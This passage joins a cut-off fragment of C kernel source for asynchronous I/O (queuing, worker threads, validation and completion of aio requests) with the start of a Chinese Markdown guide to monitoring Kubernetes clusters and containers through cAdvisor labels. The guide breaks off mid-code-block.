(int)p, (int)entryp->uaiocbp, entryp->flags, entryp->aiocb.aio_fildes, 0 ); paio_offset = (uint32_t*) &entryp->aiocb.aio_offset; paio_nbytes = (uint32_t*) &entryp->aiocb.aio_nbytes; KERNEL_DEBUG_CONSTANT( (BSDDBG_CODE(DBG_BSD_AIO, AIO_work_queued)) | DBG_FUNC_END, paio_offset[0], (sizeof(entryp->aiocb.aio_offset) == sizeof(uint64_t) ? paio_offset[1] : 0), paio_nbytes[0], (sizeof(entryp->aiocb.aio_nbytes) == sizeof(uint64_t) ? paio_nbytes[1] : 0), 0 ); } switch(uap->mode) { case LIO_WAIT: aio_proc_lock_spin(p); while (lio_context->io_completed < lio_context->io_issued) { result = msleep(lio_context, aio_proc_mutex(p), PCATCH | PRIBIO | PSPIN, "lio_listio", 0); /* If we were interrupted, fail out (even if all finished) */ if (result != 0) { call_result = EINTR; lio_context->io_waiter = 0; break; } } /* If all IOs have finished must free it */ if (lio_context->io_completed == lio_context->io_issued) { free_context = TRUE; } aio_proc_unlock(p); break; case LIO_NOWAIT: break; } /* call_result == -1 means we had no trouble queueing up requests */ if ( call_result == -1 ) { call_result = 0; *retval = 0; } ExitRoutine: if ( entryp_listp != NULL ) FREE( entryp_listp, M_TEMP ); if ( aiocbpp != NULL ) FREE( aiocbpp, M_TEMP ); if ((lio_context != NULL) && ((lio_context->io_issued == 0) || (free_context == TRUE))) { free_lio_context(lio_context); } KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_listio)) | DBG_FUNC_END, (int)p, call_result, 0, 0, 0 ); return( call_result ); } /* lio_listio */ /* * aio worker thread. this is where all the real work gets done. * we get a wake up call on sleep channel &aio_anchor.aio_async_workq * after new work is queued up. */ __attribute__((noreturn)) static void aio_work_thread(void) { aio_workq_entry *entryp; int error; vm_map_t currentmap; vm_map_t oldmap = VM_MAP_NULL; task_t oldaiotask = TASK_NULL; struct uthread *uthreadp = NULL; for( ;; ) { /* * returns with the entry ref'ed. * sleeps until work is available. */ entryp = aio_get_some_work(); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_worker_thread)) | DBG_FUNC_START, (int)entryp->procp, (int)entryp->uaiocbp, entryp->flags, 0, 0 ); /* * Assume the target's address space identity for the duration * of the IO. Note: don't need to have the entryp locked, * because the proc and map don't change until it's freed. */ currentmap = get_task_map( (current_proc())->task ); if ( currentmap != entryp->aio_map ) { uthreadp = (struct uthread *) get_bsdthread_info(current_thread()); oldaiotask = uthreadp->uu_aio_task; uthreadp->uu_aio_task = entryp->procp->task; oldmap = vm_map_switch( entryp->aio_map ); } if ( (entryp->flags & AIO_READ) != 0 ) { error = do_aio_read( entryp ); } else if ( (entryp->flags & AIO_WRITE) != 0 ) { error = do_aio_write( entryp ); } else if ( (entryp->flags & (AIO_FSYNC | AIO_DSYNC)) != 0 ) { error = do_aio_fsync( entryp ); } else { printf( "%s - unknown aio request - flags 0x%02X \n", __FUNCTION__, entryp->flags ); error = EINVAL; } /* Restore old map */ if ( currentmap != entryp->aio_map ) { (void) vm_map_switch( oldmap ); uthreadp->uu_aio_task = oldaiotask; } KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_worker_thread)) | DBG_FUNC_END, (int)entryp->procp, (int)entryp->uaiocbp, entryp->errorval, entryp->returnval, 0 ); /* XXX COUNTS */ aio_entry_lock_spin(entryp); entryp->errorval = error; aio_entry_unlock(entryp); /* we're done with the IO request so pop it off the active queue and */ /* push it on the done queue */ aio_proc_lock(entryp->procp); aio_proc_move_done_locked(entryp->procp, entryp); aio_proc_unlock(entryp->procp); OSDecrementAtomic(&aio_anchor.aio_inflight_count); /* remove our reference to the user land map. */ if ( VM_MAP_NULL != entryp->aio_map ) { vm_map_t my_map; my_map = entryp->aio_map; entryp->aio_map = VM_MAP_NULL; vm_map_deallocate( my_map ); } /* Provide notifications */ do_aio_completion( entryp ); /* Will free if needed */ aio_entry_unref(entryp); } /* for ( ;; ) */ /* NOT REACHED */ } /* aio_work_thread */ /* * aio_get_some_work - get the next async IO request that is ready to be executed. * aio_fsync complicates matters a bit since we cannot do the fsync until all async * IO requests at the time the aio_fsync call came in have completed. * NOTE - AIO_LOCK must be held by caller */ static aio_workq_entry * aio_get_some_work( void ) { aio_workq_entry *entryp = NULL; aio_workq_t queue = NULL; /* Just one queue for the moment. In the future there will be many. */ queue = &aio_anchor.aio_async_workqs[0]; aio_workq_lock_spin(queue); if (queue->aioq_count == 0) { goto nowork; } /* * Hold the queue lock. * * pop some work off the work queue and add to our active queue * Always start with the queue lock held. */ for(;;) { /* * Pull of of work queue. Once it's off, it can't be cancelled, * so we can take our ref once we drop the queue lock. */ entryp = TAILQ_FIRST(&queue->aioq_entries); /* * If there's no work or only fsyncs that need delay, go to sleep * and then start anew from aio_work_thread */ if (entryp == NULL) { goto nowork; } aio_workq_remove_entry_locked(queue, entryp); aio_workq_unlock(queue); /* * Check if it's an fsync that must be delayed. No need to lock the entry; * that flag would have been set at initialization. */ if ( (entryp->flags & AIO_FSYNC) != 0 ) { /* * Check for unfinished operations on the same file * in this proc's queue. */ aio_proc_lock_spin(entryp->procp); if ( aio_delay_fsync_request( entryp ) ) { /* It needs to be delayed. Put it back on the end of the work queue */ KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_fsync_delay)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, 0, 0, 0 ); aio_proc_unlock(entryp->procp); aio_workq_lock_spin(queue); aio_workq_add_entry_locked(queue, entryp); continue; } aio_proc_unlock(entryp->procp); } break; } aio_entry_ref(entryp); OSIncrementAtomic(&aio_anchor.aio_inflight_count); return( entryp ); nowork: /* We will wake up when someone enqueues something */ waitq_assert_wait64(&queue->aioq_waitq, CAST_EVENT64_T(queue), THREAD_UNINT, 0); aio_workq_unlock(queue); thread_block( (thread_continue_t)aio_work_thread ); // notreached return NULL; } /* * aio_delay_fsync_request - look to see if this aio_fsync request should be delayed. * A big, simple hammer: only send it off if it's the most recently filed IO which has * not been completed. */ static boolean_t aio_delay_fsync_request( aio_workq_entry *entryp ) { if (entryp == TAILQ_FIRST(&entryp->procp->p_aio_activeq)) { return FALSE; } return TRUE; } /* aio_delay_fsync_request */ static aio_workq_entry * aio_create_queue_entry(proc_t procp, user_addr_t aiocbp, void *group_tag, int kindOfIO) { aio_workq_entry *entryp; int result = 0; entryp = (aio_workq_entry *) zalloc( aio_workq_zonep ); if ( entryp == NULL ) { result = EAGAIN; goto error_exit; } bzero( entryp, sizeof(*entryp) ); /* fill in the rest of the aio_workq_entry */ entryp->procp = procp; entryp->uaiocbp = aiocbp; entryp->flags |= kindOfIO; entryp->group_tag = group_tag; entryp->aio_map = VM_MAP_NULL; entryp->aio_refcount = 0; if ( proc_is64bit(procp) ) { struct user64_aiocb aiocb64; result = copyin( aiocbp, &aiocb64, sizeof(aiocb64) ); if (result == 0 ) do_munge_aiocb_user64_to_user(&aiocb64, &entryp->aiocb); } else { struct user32_aiocb aiocb32; result = copyin( aiocbp, &aiocb32, sizeof(aiocb32) ); if ( result == 0 ) do_munge_aiocb_user32_to_user( &aiocb32, &entryp->aiocb ); } if ( result != 0 ) { result = EAGAIN; goto error_exit; } /* get a reference to the user land map in order to keep it around */ entryp->aio_map = get_task_map( procp->task ); vm_map_reference( entryp->aio_map ); /* do some more validation on the aiocb and embedded file descriptor */ result = aio_validate( entryp ); if ( result != 0 ) goto error_exit_with_ref; /* get a reference on the current_thread, which is passed in vfs_context. */ entryp->thread = current_thread(); thread_reference( entryp->thread ); return ( entryp ); error_exit_with_ref: if ( VM_MAP_NULL != entryp->aio_map ) { vm_map_deallocate( entryp->aio_map ); } error_exit: if ( result && entryp != NULL ) { zfree( aio_workq_zonep, entryp ); entryp = NULL; } return ( entryp ); } /* * aio_queue_async_request - queue up an async IO request on our work queue then * wake up one of our worker threads to do the actual work. We get a reference * to our caller's user land map in order to keep it around while we are * processing the request. */ static int aio_queue_async_request(proc_t procp, user_addr_t aiocbp, int kindOfIO ) { aio_workq_entry *entryp; int result; int old_count; uint32_t *paio_offset; uint32_t *paio_nbytes; old_count = aio_increment_total_count(); if (old_count >= aio_max_requests) { result = EAGAIN; goto error_noalloc; } entryp = aio_create_queue_entry( procp, aiocbp, 0, kindOfIO); if ( entryp == NULL ) { result = EAGAIN; goto error_noalloc; } aio_proc_lock_spin(procp); if ( is_already_queued( entryp->procp, entryp->uaiocbp ) == TRUE ) { result = EAGAIN; goto error_exit; } /* check our aio limits to throttle bad or rude user land behavior */ if (aio_get_process_count( procp ) >= aio_max_requests_per_process) { printf("aio_queue_async_request(): too many in flight for proc: %d.\n", procp->p_aio_total_count); result = EAGAIN; goto error_exit; } /* Add the IO to proc and work queues, wake up threads as appropriate */ lck_mtx_convert_spin(aio_proc_mutex(procp)); aio_enqueue_work(procp, entryp, 1); aio_proc_unlock(procp); paio_offset = (uint32_t*) &entryp->aiocb.aio_offset; paio_nbytes = (uint32_t*) &entryp->aiocb.aio_nbytes; KERNEL_DEBUG_CONSTANT( (BSDDBG_CODE(DBG_BSD_AIO, AIO_work_queued)) | DBG_FUNC_START, (int)procp, (int)aiocbp, entryp->flags, entryp->aiocb.aio_fildes, 0 ); KERNEL_DEBUG_CONSTANT( (BSDDBG_CODE(DBG_BSD_AIO, AIO_work_queued)) | DBG_FUNC_END, paio_offset[0], (sizeof(entryp->aiocb.aio_offset) == sizeof(uint64_t) ? paio_offset[1] : 0), paio_nbytes[0], (sizeof(entryp->aiocb.aio_nbytes) == sizeof(uint64_t) ? paio_nbytes[1] : 0), 0 ); return( 0 ); error_exit: /* * This entry has not been queued up so no worries about * unlocked state and aio_map */ aio_proc_unlock(procp); aio_free_request(entryp); error_noalloc: aio_decrement_total_count(); return( result ); } /* aio_queue_async_request */ /* * lio_create_entry * * Allocate an aio_workq_entry and fill it in. If all goes well return 0 * and pass the aio_workq_entry pointer back to our caller. * * Parameters: procp The process makign the request * aiocbp The aio context buffer pointer * group_tag The group tag used to indicate a * group of operations has completed * entrypp Pointer to the pointer to receive the * address of the created aio_workq_entry * * Returns: 0 Successfully created * EAGAIN Try again (usually resource shortage) * * * Notes: We get a reference to our caller's user land map in order * to keep it around while we are processing the request. * * lio_listio calls behave differently at completion they do * completion notification when all async IO requests have * completed. We use group_tag to tag IO requests that behave * in the delay notification manner. * * All synchronous operations are considered to not have a * signal routine associated with them (sigp == USER_ADDR_NULL). */ static int lio_create_entry(proc_t procp, user_addr_t aiocbp, void *group_tag, aio_workq_entry **entrypp ) { aio_workq_entry *entryp; int result; entryp = aio_create_queue_entry( procp, aiocbp, group_tag, AIO_LIO); if ( entryp == NULL ) { result = EAGAIN; goto error_exit; } /* * Look for lio_listio LIO_NOP requests and ignore them; this is * not really an error, but we need to free our aio_workq_entry. */ if ( entryp->aiocb.aio_lio_opcode == LIO_NOP ) { result = 0; goto error_exit; } *entrypp = entryp; return( 0 ); error_exit: if ( entryp != NULL ) { /* * This entry has not been queued up so no worries about * unlocked state and aio_map */ aio_free_request(entryp); } return( result ); } /* lio_create_entry */ /* * aio_free_request - remove our reference on the user land map and * free the work queue entry resources. The entry is off all lists * and has zero refcount, so no one can have a pointer to it. */ static int aio_free_request(aio_workq_entry *entryp) { /* remove our reference to the user land map. */ if ( VM_MAP_NULL != entryp->aio_map) { vm_map_deallocate(entryp->aio_map); } /* remove our reference to thread which enqueued the request */ if ( NULL != entryp->thread ) { thread_deallocate( entryp->thread ); } entryp->aio_refcount = -1; /* A bit of poisoning in case of bad refcounting. */ zfree( aio_workq_zonep, entryp ); return( 0 ); } /* aio_free_request */ /* * aio_validate * * validate the aiocb passed in by one of the aio syscalls. */ static int aio_validate( aio_workq_entry *entryp ) { struct fileproc *fp; int flag; int result; result = 0; if ( (entryp->flags & AIO_LIO) != 0 ) { if ( entryp->aiocb.aio_lio_opcode == LIO_READ ) entryp->flags |= AIO_READ; else if ( entryp->aiocb.aio_lio_opcode == LIO_WRITE ) entryp->flags |= AIO_WRITE; else if ( entryp->aiocb.aio_lio_opcode == LIO_NOP ) return( 0 ); else return( EINVAL ); } flag = FREAD; if ( (entryp->flags & (AIO_WRITE | AIO_FSYNC | AIO_DSYNC)) != 0 ) { flag = FWRITE; } if ( (entryp->flags & (AIO_READ | AIO_WRITE)) != 0 ) { if ( entryp->aiocb.aio_nbytes > INT_MAX || entryp->aiocb.aio_buf == USER_ADDR_NULL || entryp->aiocb.aio_offset < 0 ) return( EINVAL ); } /* * validate aiocb.aio_sigevent. at this point we only support * sigev_notify equal to SIGEV_SIGNAL or SIGEV_NONE. this means * sigev_value, sigev_notify_function, and sigev_notify_attributes * are ignored, since SIGEV_THREAD is unsupported. This is consistent * with no [RTS] (RalTime Signal) option group support. */ switch ( entryp->aiocb.aio_sigevent.sigev_notify ) { case SIGEV_SIGNAL: { int signum; /* make sure we have a valid signal number */ signum = entryp->aiocb.aio_sigevent.sigev_signo; if ( signum <= 0 || signum >= NSIG || signum == SIGKILL || signum == SIGSTOP ) return (EINVAL); } break; case SIGEV_NONE: break; case SIGEV_THREAD: /* Unsupported [RTS] */ default: return (EINVAL); } /* validate the file descriptor and that the file was opened * for the appropriate read / write access. */ proc_fdlock(entryp->procp); result = fp_lookup( entryp->procp, entryp->aiocb.aio_fildes, &fp , 1); if ( result == 0 ) { if ( (fp->f_fglob->fg_flag & flag) == 0 ) { /* we don't have read or write access */ result = EBADF; } else if ( FILEGLOB_DTYPE(fp->f_fglob) != DTYPE_VNODE ) { /* this is not a file */ result = ESPIPE; } else fp->f_flags |= FP_AIOISSUED; fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp , 1); } else { result = EBADF; } proc_fdunlock(entryp->procp); return( result ); } /* aio_validate */ static int aio_increment_total_count() { return OSIncrementAtomic(&aio_anchor.aio_total_count); } static int aio_decrement_total_count() { int old = OSDecrementAtomic(&aio_anchor.aio_total_count); if (old <= 0) { panic("Negative total AIO count!\n"); } return old; } static int aio_get_process_count(proc_t procp ) { return procp->p_aio_total_count; } /* aio_get_process_count */ static int aio_get_all_queues_count( void ) { return aio_anchor.aio_total_count; } /* aio_get_all_queues_count */ /* * do_aio_completion. Handle async IO completion. */ static void do_aio_completion( aio_workq_entry *entryp ) { boolean_t lastLioCompleted = FALSE; aio_lio_context *lio_context = NULL; int waiter = 0; lio_context = (aio_lio_context *)entryp->group_tag; if (lio_context != NULL) { aio_proc_lock_spin(entryp->procp); /* Account for this I/O completing. */ lio_context->io_completed++; /* Are we done with this lio context? */ if (lio_context->io_issued == lio_context->io_completed) { lastLioCompleted = TRUE; } waiter = lio_context->io_waiter; /* explicit wakeup of lio_listio() waiting in LIO_WAIT */ if ((entryp->flags & AIO_LIO_NOTIFY) && (lastLioCompleted) && (waiter != 0)) { /* wake up the waiter */ wakeup(lio_context); } aio_proc_unlock(entryp->procp); } if ( entryp->aiocb.aio_sigevent.sigev_notify == SIGEV_SIGNAL && (entryp->flags & AIO_DISABLE) == 0 ) { boolean_t performSignal = FALSE; if (lio_context == NULL) { performSignal = TRUE; } else { /* * If this was the last request in the group and a signal * is desired, send one. */ performSignal = lastLioCompleted; } if (performSignal) { KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_completion_sig)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, entryp->aiocb.aio_sigevent.sigev_signo, 0, 0 ); psignal( entryp->procp, entryp->aiocb.aio_sigevent.sigev_signo ); } } if ((entryp->flags & AIO_EXIT_WAIT) && (entryp->flags & AIO_CLOSE_WAIT)) { panic("Close and exit flags set at the same time\n"); } /* * need to handle case where a process is trying to exit, exec, or * close and is currently waiting for active aio requests to complete. * If AIO_CLEANUP_WAIT is set then we need to look to see if there are any * other requests in the active queue for this process. If there are * none then wakeup using the AIO_CLEANUP_SLEEP_CHAN tsleep channel. * If there are some still active then do nothing - we only want to * wakeup when all active aio requests for the process are complete. * * Don't need to lock the entry or proc to check the cleanup flag. It can only be * set for cancellation, while the entryp is still on a proc list; now it's * off, so that flag is already set if it's going to be. */ if ( (entryp->flags & AIO_EXIT_WAIT) != 0 ) { int active_requests; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_completion_cleanup_wait)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, 0, 0, 0 ); aio_proc_lock_spin(entryp->procp); active_requests = aio_active_requests_for_process( entryp->procp ); if ( active_requests < 1 ) { /* * no active aio requests for this process, continue exiting. In this * case, there should be no one else waiting ont he proc in AIO... */ wakeup_one((caddr_t)&entryp->procp->AIO_CLEANUP_SLEEP_CHAN); aio_proc_unlock(entryp->procp); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_completion_cleanup_wake)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, 0, 0, 0 ); } else { aio_proc_unlock(entryp->procp); } } if ( (entryp->flags & AIO_CLOSE_WAIT) != 0 ) { int active_requests; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_completion_cleanup_wait)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, 0, 0, 0 ); aio_proc_lock_spin(entryp->procp); active_requests = aio_proc_active_requests_for_file( entryp->procp, entryp->aiocb.aio_fildes); if ( active_requests < 1 ) { /* Can't wakeup_one(); multiple closes might be in progress. */ wakeup(&entryp->procp->AIO_CLEANUP_SLEEP_CHAN); aio_proc_unlock(entryp->procp); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_completion_cleanup_wake)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, 0, 0, 0 ); } else { aio_proc_unlock(entryp->procp); } } /* * A thread in aio_suspend() wants to known about completed IOs. If it checked * the done list before we moved our AIO there, then it already asserted its wait, * and we can wake it up without holding the lock. If it checked the list after * we did our move, then it already has seen the AIO that we moved. Herego, we * can do our wakeup without holding the lock. */ wakeup( (caddr_t) &entryp->procp->AIO_SUSPEND_SLEEP_CHAN ); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_completion_suspend_wake)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, 0, 0, 0 ); /* * free the LIO context if the last lio completed and no thread is * waiting */ if (lastLioCompleted && (waiter == 0)) free_lio_context (lio_context); } /* do_aio_completion */ /* * do_aio_read */ static int do_aio_read( aio_workq_entry *entryp ) { struct fileproc *fp; int error; struct vfs_context context; if ( (error = fp_lookup(entryp->procp, entryp->aiocb.aio_fildes, &fp , 0)) ) return(error); if ( (fp->f_fglob->fg_flag & FREAD) == 0 ) { fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp, 0); return(EBADF); } context.vc_thread = entryp->thread; /* XXX */ context.vc_ucred = fp->f_fglob->fg_cred; error = dofileread(&context, fp, entryp->aiocb.aio_buf, entryp->aiocb.aio_nbytes, entryp->aiocb.aio_offset, FOF_OFFSET, &entryp->returnval); fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp, 0); return( error ); } /* do_aio_read */ /* * do_aio_write */ static int do_aio_write( aio_workq_entry *entryp ) { struct fileproc *fp; int error, flags; struct vfs_context context; if ( (error = fp_lookup(entryp->procp, entryp->aiocb.aio_fildes, &fp , 0)) ) return(error); if ( (fp->f_fglob->fg_flag & FWRITE) == 0 ) { fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp, 0); return(EBADF); } flags = FOF_PCRED; if ( (fp->f_fglob->fg_flag & O_APPEND) == 0 ) { flags |= FOF_OFFSET; } context.vc_thread = entryp->thread; /* XXX */ context.vc_ucred = fp->f_fglob->fg_cred; /* NB: tell dofilewrite the offset, and to use the proc cred */ error = dofilewrite(&context, fp, entryp->aiocb.aio_buf, entryp->aiocb.aio_nbytes, entryp->aiocb.aio_offset, flags, &entryp->returnval); if (entryp->returnval) fp_drop_written(entryp->procp, entryp->aiocb.aio_fildes, fp); else fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp, 0); return( error ); } /* do_aio_write */ /* * aio_active_requests_for_process - return number of active async IO * requests for the given process. */ static int aio_active_requests_for_process(proc_t procp ) { return( procp->p_aio_active_count ); } /* aio_active_requests_for_process */ /* * Called with the proc locked. */ static int aio_proc_active_requests_for_file(proc_t procp, int fd) { int count = 0; aio_workq_entry *entryp; TAILQ_FOREACH(entryp, &procp->p_aio_activeq, aio_proc_link) { if (entryp->aiocb.aio_fildes == fd) { count++; } } return count; } /* aio_active_requests_for_process */ /* * do_aio_fsync */ static int do_aio_fsync( aio_workq_entry *entryp ) { struct vfs_context context; struct vnode *vp; struct fileproc *fp; int sync_flag; int error; /* * We are never called unless either AIO_FSYNC or AIO_DSYNC are set. * * If AIO_DSYNC is set, we can tell the lower layers that it is OK * to mark for update the metadata not strictly necessary for data * retrieval, rather than forcing it to disk. * * If AIO_FSYNC is set, we have to also wait for metadata not really * necessary to data retrival are committed to stable storage (e.g. * atime, mtime, ctime, etc.). * * Metadata necessary for data retrieval ust be committed to stable * storage in either case (file length, etc.). */ if (entryp->flags & AIO_FSYNC) sync_flag = MNT_WAIT; else sync_flag = MNT_DWAIT; error = fp_getfvp( entryp->procp, entryp->aiocb.aio_fildes, &fp, &vp); if ( error == 0 ) { if ( (error = vnode_getwithref(vp)) ) { fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp, 0); entryp->returnval = -1; return(error); } context.vc_thread = current_thread(); context.vc_ucred = fp->f_fglob->fg_cred; error = VNOP_FSYNC( vp, sync_flag, &context); (void)vnode_put(vp); fp_drop(entryp->procp, entryp->aiocb.aio_fildes, fp, 0); } if ( error != 0 ) entryp->returnval = -1; return( error ); } /* do_aio_fsync */ /* * is_already_queued - runs through our queues to see if the given * aiocbp / process is there. Returns TRUE if there is a match * on any of our aio queues. * * Called with proc aio lock held (can be held spin) */ static boolean_t is_already_queued(proc_t procp, user_addr_t aiocbp ) { aio_workq_entry *entryp; boolean_t result; result = FALSE; /* look for matches on our queue of async IO requests that have completed */ TAILQ_FOREACH( entryp, &procp->p_aio_doneq, aio_proc_link ) { if ( aiocbp == entryp->uaiocbp ) { result = TRUE; goto ExitThisRoutine; } } /* look for matches on our queue of active async IO requests */ TAILQ_FOREACH( entryp, &procp->p_aio_activeq, aio_proc_link ) { if ( aiocbp == entryp->uaiocbp ) { result = TRUE; goto ExitThisRoutine; } } ExitThisRoutine: return( result ); } /* is_already_queued */ static void free_lio_context(aio_lio_context* context) { #if DEBUG OSDecrementAtomic(&lio_contexts_alloced); #endif /* DEBUG */ FREE( context, M_TEMP ); } /* free_lio_context */ /* * aio initialization */ __private_extern__ void aio_init( void ) { int i; aio_lock_grp_attr = lck_grp_attr_alloc_init(); aio_proc_lock_grp = lck_grp_alloc_init("aio_proc", aio_lock_grp_attr);; aio_entry_lock_grp = lck_grp_alloc_init("aio_entry", aio_lock_grp_attr);; aio_queue_lock_grp = lck_grp_alloc_init("aio_queue", aio_lock_grp_attr);; aio_lock_attr = lck_attr_alloc_init(); lck_mtx_init(&aio_entry_mtx, aio_entry_lock_grp, aio_lock_attr); lck_mtx_init(&aio_proc_mtx, aio_proc_lock_grp, aio_lock_attr); aio_anchor.aio_inflight_count = 0; aio_anchor.aio_done_count = 0; aio_anchor.aio_total_count = 0; aio_anchor.aio_num_workqs = AIO_NUM_WORK_QUEUES; for (i = 0; i < AIO_NUM_WORK_QUEUES; i++) { aio_workq_init(&aio_anchor.aio_async_workqs[i]); } i = sizeof( aio_workq_entry ); aio_workq_zonep = zinit( i, i * aio_max_requests, i * aio_max_requests, "aiowq" ); _aio_create_worker_threads( aio_worker_threads ); } /* aio_init */ /* * aio worker threads created here. */ __private_extern__ void _aio_create_worker_threads( int num ) { int i; /* create some worker threads to handle the async IO requests */ for ( i = 0; i < num; i++ ) { thread_t myThread; if ( KERN_SUCCESS != kernel_thread_start((thread_continue_t)aio_work_thread, NULL, &myThread) ) { printf( "%s - failed to create a work thread \n", __FUNCTION__ ); } else thread_deallocate(myThread); } return; } /* _aio_create_worker_threads */ /* * Return the current activation utask */ task_t get_aiotask(void) { return ((struct uthread *)get_bsdthread_info(current_thread()))->uu_aio_task; } /* * In the case of an aiocb from a * 32-bit process we need to expand some longs and pointers to the correct * sizes in order to let downstream code always work on the same type of * aiocb (in our case that is a user_aiocb) */ static void do_munge_aiocb_user32_to_user( struct user32_aiocb *my_aiocbp, struct user_aiocb *the_user_aiocbp ) { the_user_aiocbp->aio_fildes = my_aiocbp->aio_fildes; the_user_aiocbp->aio_offset = my_aiocbp->aio_offset; the_user_aiocbp->aio_buf = CAST_USER_ADDR_T(my_aiocbp->aio_buf); the_user_aiocbp->aio_nbytes = my_aiocbp->aio_nbytes; the_user_aiocbp->aio_reqprio = my_aiocbp->aio_reqprio; the_user_aiocbp->aio_lio_opcode = my_aiocbp->aio_lio_opcode; /* special case here. since we do not know if sigev_value is an */ /* int or a ptr we do NOT cast the ptr to a user_addr_t. This */ /* means if we send this info back to user space we need to remember */ /* sigev_value was not expanded for the 32-bit case. */ /* NOTE - this does NOT affect us since we don't support sigev_value */ /* yet in the aio context. */ //LP64 the_user_aiocbp->aio_sigevent.sigev_notify = my_aiocbp->aio_sigevent.sigev_notify; the_user_aiocbp->aio_sigevent.sigev_signo = my_aiocbp->aio_sigevent.sigev_signo; the_user_aiocbp->aio_sigevent.sigev_value.size_equivalent.sival_int = my_aiocbp->aio_sigevent.sigev_value.sival_int; the_user_aiocbp->aio_sigevent.sigev_notify_function = CAST_USER_ADDR_T(my_aiocbp->aio_sigevent.sigev_notify_function); the_user_aiocbp->aio_sigevent.sigev_notify_attributes = CAST_USER_ADDR_T(my_aiocbp->aio_sigevent.sigev_notify_attributes); } /* Similar for 64-bit user process, so that we don't need to satisfy * the alignment constraints of the original user64_aiocb */ static void do_munge_aiocb_user64_to_user( struct user64_aiocb *my_aiocbp, struct user_aiocb *the_user_aiocbp ) { the_user_aiocbp->aio_fildes = my_aiocbp->aio_fildes; the_user_aiocbp->aio_offset = my_aiocbp->aio_offset; the_user_aiocbp->aio_buf = my_aiocbp->aio_buf; the_user_aiocbp->aio_nbytes = my_aiocbp->aio_nbytes; the_user_aiocbp->aio_reqprio = my_aiocbp->aio_reqprio; the_user_aiocbp->aio_lio_opcode = my_aiocbp->aio_lio_opcode; the_user_aiocbp->aio_sigevent.sigev_notify = my_aiocbp->aio_sigevent.sigev_notify; the_user_aiocbp->aio_sigevent.sigev_signo = my_aiocbp->aio_sigevent.sigev_signo; the_user_aiocbp->aio_sigevent.sigev_value.size_equivalent.sival_int = my_aiocbp->aio_sigevent.sigev_value.size_equivalent.sival_int; the_user_aiocbp->aio_sigevent.sigev_notify_function = my_aiocbp->aio_sigevent.sigev_notify_function; the_user_aiocbp->aio_sigevent.sigev_notify_attributes = my_aiocbp->aio_sigevent.sigev_notify_attributes; }
{ "pile_set_name": "Github" }
# 集群及应用监控 在前面的[安装heapster插件](heapster-addon-installation.md)章节,我们已经谈到Kubernetes本身提供了监控插件作为集群和容器监控的选择,但是在实际使用中,因为种种原因,再考虑到跟我们自身的监控系统集成,我们准备重新造轮子。 针对kubernetes集群和应用的监控,相较于传统的虚拟机和物理机的监控有很多不同,因此对于传统监控需要有很多改造的地方,需要关注以下三个方面: - Kubernetes集群本身的监控,主要是kubernetes的各个组件 - kubernetes集群中Pod的监控,Pod的CPU、内存、网络、磁盘等监控 - 集群内部应用的监控,针对应用本身的监控 ## Kubernetes集群中的监控 ![Kubernetes集群中的监控](../images/monitoring-in-kubernetes.png) 跟物理机器和虚拟机的监控不同,在kubernetes集群中的监控复杂度更高一些,因为多了一个虚拟化层,当然这个跟直接监控docker容器又不一样,kubernetes在docker之上又抽象了一层service的概念。 在kubernetes中的监控需要考虑到这几个方面: - 应该给Pod打上哪些label,这些label将成为监控的metrics。 - 当应用的Pod漂移了之后怎么办?因为要考虑到Pod的生命周期比虚拟机和物理机短的多,如何持续监控应用的状态? - 更多的监控项,kubernetes本身、容器、应用等。 - 监控指标的来源,是通过heapster收集后汇聚还是直接从每台主机的docker上取? ## 容器的命名规则 首先我们需要清楚使用cAdvisor收集的数据的格式和字段信息。 当我们通过cAdvisor获取到了容器的信息后,例如访问`${NODE_IP}:4194/api/v1.3/docker`获取的json结果中的某个容器包含如下字段: ```json "labels": { "annotation.io.kubernetes.container.hash": "f47f0602", "annotation.io.kubernetes.container.ports": "[{\"containerPort\":80,\"protocol\":\"TCP\"}]", "annotation.io.kubernetes.container.restartCount": "0", "annotation.io.kubernetes.container.terminationMessagePath": "/dev/termination-log", "annotation.io.kubernetes.container.terminationMessagePolicy": "File", "annotation.io.kubernetes.pod.terminationGracePeriod": "30", "io.kubernetes.container.logpath": "/var/log/pods/d8a2e995-3617-11e7-a4b0-ecf4bbe5d414/php-redis_0.log", "io.kubernetes.container.name": "php-redis", "io.kubernetes.docker.type": "container", "io.kubernetes.pod.name": "frontend-2337258262-771lz", "io.kubernetes.pod.namespace": "default", "io.kubernetes.pod.uid": "d8a2e995-3617-11e7-a4b0-ecf4bbe5d414", "io.kubernetes.sandbox.id": "843a0f018c0cef2a5451434713ea3f409f0debc2101d2264227e814ca0745677" }, ``` 这些信息其实都是kubernetes创建容器时给docker container打的`Labels`,使用`docker inspect $conainer_name`命令同样可以看到上述信息。 你是否想过这些label跟容器的名字有什么关系?当你在node节点上执行`docker ps`看到的容器名字又对应哪个应用的Pod呢? 在kubernetes代码中pkg/kubelet/dockertools/docker.go中的BuildDockerName方法定义了容器的名称规范。 这段容器名称定义代码如下: ```go // Creates a name which can be reversed to identify both full pod name and container name. // This function returns stable name, unique name and a unique id. // Although rand.Uint32() is not 